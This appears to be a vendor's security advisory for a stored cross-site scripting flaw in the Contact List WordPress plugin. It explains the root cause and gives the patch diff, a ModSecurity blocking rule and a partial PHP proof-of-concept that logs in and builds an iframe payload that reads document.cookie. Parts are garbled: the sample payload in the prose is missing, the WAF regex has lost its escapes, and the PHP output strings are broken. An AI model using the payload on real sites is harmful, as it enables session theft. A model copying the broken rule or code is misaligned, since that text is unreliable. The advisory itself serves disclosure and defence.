Atomic Edge analysis of CVE-2026-3516:
The Contact List WordPress plugin, versions up to and including 3.0.18, contains an authenticated stored cross-site scripting vulnerability. The flaw resides in the plugin’s handling of the Google Maps iframe custom field, allowing Contributor-level and above users to inject malicious scripts.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping. The `saveCustomFields()` function in `/includes/class-contact-list-custom-fields.php` processes the `_cl_map_iframe` parameter. A regex on lines 687-696 extracts “ tags from user input but does not validate or sanitize the iframe’s attributes. This allows the inclusion of JavaScript event handlers like `onload`. The unsanitized HTML is stored via `update_post_meta()`. The stored payload is later rendered without escaping in the `getSingleCardHTML()` method within `/public/class-cl-public-card.php` on lines 454-468.
The exploitation method requires an authenticated attacker with at least Contributor-level access. The attacker submits a crafted POST request to the WordPress admin area while editing or creating a contact entry. The payload is injected into the `_cl_map_iframe` custom field. A sample malicious payload is “. When a visitor views the compromised contact card on the front-end, the embedded iframe executes the attacker’s script.
The patch in version 3.0.19 fixes the vulnerability by completely rejecting user input for the affected field. In `class-contact-list-custom-fields.php`, the handling code for the `textarea_iframe` type (lines 677-691) is replaced with a single line: `$value = ”;`. Concurrently, the front-end rendering code for the `map` case in `class-cl-public-card.php` (lines 454-468) is entirely removed. This approach eliminates the attack surface by discarding any submitted iframe code and ceasing to output it.
Successful exploitation leads to stored cross-site scripting. An attacker can steal session cookies, perform actions on behalf of authenticated users, deface websites, or redirect visitors to malicious sites. The vulnerability requires Contributor-level access, limiting immediate impact, but compromised contributor accounts are a common attack vector for privilege escalation chains.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/contact-list/contact-list.php
+++ b/contact-list/contact-list.php
@@ -15,7 +15,7 @@
* @wordpress-plugin
* Plugin Name: Contact List
* Description: Easily display contact information on your site with this simple plugin.
- * Version: 3.0.18
+ * Version: 3.0.19
* Author: Contact List – Staff Directory
* Author URI: https://www.contactlistpro.com
* License: GPL-2.0+
@@ -137,7 +137,7 @@
}
// define('CONTACT_LIST_PLUGIN_NAME', 'contact-list');
define( 'CONTACT_LIST_ORDER_BY', $order_by );
- define( 'CONTACT_LIST_VERSION', '3.0.18' );
+ define( 'CONTACT_LIST_VERSION', '3.0.19' );
define( 'CONTACT_LIST_URI', plugin_dir_url( __FILE__ ) );
define( 'CONTACT_LIST_PATH', plugin_dir_path( __FILE__ ) );
define( 'CONTACT_LIST_CPT', 'contact' );
--- a/contact-list/includes/class-contact-list-custom-fields.php
+++ b/contact-list/includes/class-contact-list-custom-fields.php
@@ -272,7 +272,7 @@
}
$custom_fields[] = array(
'name' => 'map_title',
- 'title' => sanitize_text_field( __( 'Google Maps iframe code', 'contact-list' ) ),
+ 'title' => sanitize_text_field( __( 'Google Maps or OpenStreetMap iframe code', 'contact-list' ) ),
'description' => '',
'type' => 'title',
'scope' => array('contact'),
@@ -677,17 +677,7 @@
if ( $customField['type'] == 'wysiwyg_v2' ) {
$value = balanceTags( wp_kses_post( $value ), 1 );
} elseif ( $customField['type'] == 'textarea_iframe' ) {
- $iframe_code = $value;
- $iframeRegex = '/<iframe[^>]*>(.*?)<\/iframe>/si';
- $strippedHtml = '';
- if ( preg_match( $iframeRegex, $iframe_code, $matches ) ) {
- $strippedHtml = $matches[0];
- }
- if ( $strippedHtml ) {
- $value = $strippedHtml;
- } else {
- $value = '';
- }
+ $value = '';
} else {
$bypass_sanitation = 0;
if ( !$bypass_sanitation ) {
--- a/contact-list/public/class-cl-public-card.php
+++ b/contact-list/public/class-cl-public-card.php
@@ -454,19 +454,6 @@
}
break;
case 'map':
- if ( isset( $c['_cl_map_iframe'][0] ) && $c['_cl_map_iframe'][0] ) {
- $iframe_code = $c['_cl_map_iframe'][0];
- $iframeRegex = '/<iframe[^>]*>(.*?)<\/iframe>/si';
- $strippedHtml = '';
- if ( preg_match( $iframeRegex, $iframe_code, $matches ) ) {
- $strippedHtml = $matches[0];
- }
- if ( $strippedHtml ) {
- $html .= '<div class="contact-list-map-container">';
- $html .= $strippedHtml;
- $html .= '</div>';
- }
- }
break;
default:
$field = sanitize_title( $field );
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3516
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:10003516,phase:2,deny,status:403,chain,msg:'CVE-2026-3516 via Contact List plugin AJAX - Stored XSS in _cl_map_iframe',severity:'CRITICAL',tag:'CVE-2026-3516',tag:'WordPress',tag:'Plugin/Contact-List',tag:'attack-xss'"
SecRule ARGS_POST:action "@streq saveCustomFields" "chain"
SecRule ARGS_POST:_cl_map_iframe "@rx onloads*=|onerrors*=|onmouseovers*=|javascript:"
"t:lowercase,t:htmlEntityDecode,t:urlDecodeUni,t:removeWhitespace"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3516 - Contact List <= 3.0.18 - Authenticated (Contributor+) Stored Cross-Site Scripting via '_cl_map_iframe' Parameter
<?php
$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload: iframe with onload handler to execute JavaScript
$malicious_iframe = '<iframe src="data:text/html,base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==" onload="alert(document.cookie)"></iframe>';
// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);
// Step 2: Create a new contact post to inject the payload
// Obtain nonce from the 'Add New Contact' page
$add_new_url = $target_url . '/wp-admin/post-new.php?post_type=contact';
curl_setopt($ch, CURLOPT_URL, $add_new_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract nonce for meta box saving (simplified; real PoC would parse HTML)
// This example assumes the nonce is known or the action hook is targeted directly.
// The actual save action is triggered via WordPress's post saving mechanism.
// Step 3: Simulate saving the post with the malicious iframe in the custom field.
// The '_cl_map_iframe' field is saved via the plugin's custom field metabox.
$post_id = 123; // This would be the ID of a newly created or existing contact.
$edit_post_url = $target_url . '/wp-admin/post.php';
$post_data = [
'post_ID' => $post_id,
'post_type' => 'contact',
'action' => 'editpost',
'_cl_map_iframe' => $malicious_iframe,
// Other required fields like post_title, content, nonce would be included.
];
// Note: A full PoC would require extracting the correct nonce and post ID.
// This script outlines the attack vector and payload.
echo "Payload prepared: " . htmlspecialchars($malicious_iframe) . "n";
echo "If authentication succeeds, the payload would be saved to the _cl_map_iframe post meta.n";
echo "Visit the contact's public page to trigger the XSS.n";
curl_close($ch);
?>